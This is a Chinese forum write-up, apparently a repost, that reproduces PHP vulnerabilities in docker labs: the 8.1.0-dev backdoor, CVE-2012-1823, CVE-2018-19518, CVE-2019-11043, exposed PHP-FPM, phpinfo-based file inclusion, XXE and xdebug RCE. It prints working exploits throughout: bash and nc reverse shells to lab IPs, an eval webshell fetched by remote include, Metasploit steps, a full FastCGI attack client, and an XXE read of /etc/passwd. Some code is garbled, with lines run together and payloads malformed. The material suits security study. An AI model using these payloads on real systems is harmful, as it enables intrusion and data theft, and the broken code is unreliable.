本文深入浅出的介绍并分析了php各个版本的漏洞原理,以及如何利用漏洞来获取webshell。
简介
PHP(PHP: Hypertext Preprocessor)即“超文本预处理器”,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。PHP语法学习了C语言,吸纳Java和Perl多个语言的特色发展出自己的特色语法,并根据它们的长项持续改进提升自己,例如java的面向对象编程,该语言当初创建的主要目标是让开发人员快速编写出优质的web网站。 [1-2] PHP同时支持面向对象和面向过程的开发,使用上非常灵活。
经过二十多年的发展,随着php-cli相关组件的快速发展和完善,PHP已经可以应用在[ TCP](https://baike.baidu.com/item/ TCP/33012)/UDP服务、高性能Web、WebSocket服务、物联网、实时通讯、游戏、微服务等非 Web 领域的系统研发。
8.1-dev backdoor
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。
进入8.1-backdoor的docker环境
访问8080端口为一个hello world
bp抓包并构造一个User-Agentt
放入,读取passwd
User-Agentt: zerodiumsystem("cat /etc/passwd");
切换命令读取whoami
是用zerodiumsystem
函数进行bash反弹
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/192.168.1.10/7777 0>&1'");
CVE-2012-1823
用户请求的querystring被作为了php-cgi的参数,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。但mod方式、fpm方式不受影响。
CGI模式下可控命令行参数
c 指定php.ini文件(PHP的配置文件)的位置
n 不要加载php.ini文件
d 指定配置项b 启动fastcgi进程
s 显示文件源码
T 执行指定次该文件
h和? 显示帮助
进入CVE-2012-1823的docker环境
访问http://192.168.1.10:8080/info.php
直接传参s即可访问源码
生成一个shell.txt
,内容为一句话木马,这里生成txt是因为进行文件包含,然后在本地启动一个http服务
<?php @eval($_POST[cmd];?)>
抓包构造文件包含shell.txt
http://192.168.1.10:8080/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://192.168.1.5:8000/shell.txt
使用蚁剑连接即可
或者使用msf里面的php_cgi_arg_injection
模块,配置参数即可得到一个meterpreter
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
set rhosts 192.168.1.10
set rport 8080
set lhost 192.168.1.9
CVE-2018-19518
CVE-2018-19518即PHP imap 远程命令执行漏洞,PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。
进入CVE-2018-19518的docker环境
访问8080端口有三个文本框
这里随便填一下文本框的内容
使用exp进行发包,这个payload的作用应该是往/tmp/目录下写入一个test0001
,内容为1234567890
<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
这里进入tmp目录看一下,没有生成文件
这里卡了一段时间,一开始以为是exp错了,换了几个exp还是生成不了文件,这里看了其他师傅复现的操作,原来是还需要对url进行编码
这里其实只需要改三个字符即可\t:%09、+:%2b、=:%3d,这里为了方便使用bp的编码功能进行转换
得到如下payload
x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}
再进行发包
进入/tmp
目录查看已经创建成功
CVE-2019-11043
CVE-2019-11043漏洞产生的原因是,当nginx配置不当时,会导致php-fpm远程任意代码执行。
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,同时slen
可控,从而触发该漏洞。
有漏洞信息可知漏洞是由于path_info 的地址可控导致的,我们可以看到,当path_info 被%0a截断时,path_info 将被置为空,回到代码中就可以发现问题所在了。
在代码的1134行我们发现了可控的 path_info
的指针env_path_info
。其中 env_path_info
就是变量path_info
的地址,path_info
为0则plien 为0。
slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;
由于apache_was_here
这个变量在前面被设为了0,因此path_info的赋值语句实际上就是:
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
env_path_info
是从Fast CGI的PATH_INFO
取过来的,而由于代入了%0a
,在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;
这样的Nginx配置项的情况下,fastcgi_split_path_info
无法正确识别现在的url,因此会Path Info置空,所以env_path_info
在进行取值时,同样会取到空值,这也正是漏洞原因所在。
进入CVE-2019-11043的docker环境
这里需要使用到phuip-fpizdam
工具,需要安装go环境
git clone https://github.com/neex/phuip-fpizdam.gitcd phuip-fpizdamgo get -v && go build
这里题是我需要安装gccgo-go
和golang-go
,使用apt安装即可
这里正常情况下编译是编译不过去的,除非你是路由器直接fq,否则是访问不到proxy.golang.org
,这里就需要换一个镜像网址即可编译
go get -v && go buildgo env -w GOPROXY=https://goproxy.cn
这里本来phuip-fpizdam
应该是一个exe文件,但是在linux里面可能生成的不是exe文件,所以直接使用就会报错
这里使用go run即可
./phuip-foizdamgo run . http://192.168.1.10:8080/index.php
访问index.php
传参即可
http://192.168.1.10:8080/index.php?a=id
这里演示一下如何使用反弹nc反弹,在这个docker里面不自带nc,所以需要手动安装
首先进入php的docker容器,这里我先尝试了nginx的docker发现反弹不了
sudo docker exec -it 20 /bin/bash
安装apt-get和nc
apt updateapt-get netcat
然后执行nc命令反弹
http://192.168.1.10:8080/index.php?a=nc 192.168.1.10 7777
或者使用bash反弹也可以
http://192.168.1.10:8080/index.php?a=nc%20-e%20/bin/bash%20192.168.1.10%207777
fpm
PHP-FPM Fastcgi 未授权访问漏洞,这个漏洞需要先了解何为fastcgi
Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。
PHP-FPM
PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
security.limit_extensions配置
此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404。在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd。但后来,fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied。由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
任意代码执行
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
那么,我们怎么设置auto_prepend_file的值?
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
所以,我们最后传入如下环境变量
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
进入fpm的docker环境
这里使用到基于py2攻击的exp
import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i]) def bord(c):if isinstance(c, int):return celse:return ord(c) def force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict') def force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return s class FastCGIClient:"""A Fast-CGI Client for Python""" # private__FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict() def __connect(self):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(self.timeout)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# if self.keepalive:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)# else:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)try:self.sock.connect((self.host, int(self.port)))except socket.error as msg:self.sock.close()self.sock = Noneprint(repr(msg))return Falsereturn True def __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + contentreturn buf def __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF)return record + name + value def __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return header def __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return record def request(self, nameValuePairs={}, post=''):if not self.__connect():print('connect failure! please check your fasctcgi-server !!')return requestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request)self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SENDself.requests[requestId]['response'] = b''return self.__waitForResponse(requestId) def __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += buf data = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response'] def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__':parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')parser.add_argument('host', help='Target host, such as 127.0.0.1')parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0)params = dict()documentRoot = "/"uri = args.filecontent = args.codeparams = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '9985','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}response = client.request(params, content)print(force_text(response))
使用exp攻击9000端口即可执行命令
python fpm.py 192.168.1.10 -p 9000 /usr/local/lib/php/PEAR.php -c "<?php echo `ls`;?>"
inclusion
inclusion表示文件包含漏洞,该漏洞与PHP版本无关。PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
进入inclusion的docker环境
进入inclusion目录,这里直接使用准备好的exp即可
python2 exp.py 192.168.1.10 8080
这里直接构造payload进行文件包含即可
http://192.168.1.10:8080/lfi.php?file=/tmp/g&1=system(%22id%22);
php_xxe
XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成 任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
有了 XML 实体,关键字 ‘SYSTEM’ 会令 XML 解析器从URI中读取内容,并允许它在 XML 文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)
XXE 的危害有:
读取任意文件;
命令执行(php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装);
内网探测/SSRF(可以利用http://协议,发起http请求。可以利用该请求去探查内网,进行SSRF攻击。)
利用 XXE 对站点进行渗透一般有以下几个步骤:
首先读取核心内容(如配置文件等,如果读取的文件数据有空格的话,是读不出来的,但可以用base64编码);
其次用 xml 将其和某个网址页面进行拼接(拼接的主要原因是 xml 值存储数据不一定会输出因此需要将数据外带);
拼接完成后访问页面就可以启动后端代码,然后后端代码将数据存储在指定文件内;
最后直接访问该文件获取传送出的数据。
进入php_xxe的docker环境
首先访问8080端口全局搜索libxml
,版本为2.8.0,这个版本是默认支持并开启对外部实体的引用的
在当前页面用bp抓包
这里使用file://
来获取passwd
<?xml version="1.0" encoding="utf-8"?> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><test> <name>&xxe;</name> </test>
改GET为POST再加入代码发包即可得到passwd
xdebug-rce
xdebug本身就是一个调试程序,对get参数或者cookie的执行参数进行验证,如果验证通过就会进行调试,这里因为没有指定远端主机,所以任意主机都可以对php进行调试,即执行命令。
进入xdebug-rce的docker环境
访问8080端口全局查找xdebug.remote
,发现允许远程调试
xdebug.remote_enable //允许远程,为On或者1都表示启用,Off和0表示关闭关闭xdebug.remote_host = 127.0.0.1 //远程主机的IP在这里填写,固定的 127.0.0.1
进入xdebug-rce
目录下是用exp.py输出id
python3 exp.py -t http://192.168.1.10:8080/index.php -c "shell_exec('id');"
- 本文作者: bradypoder
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/553
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!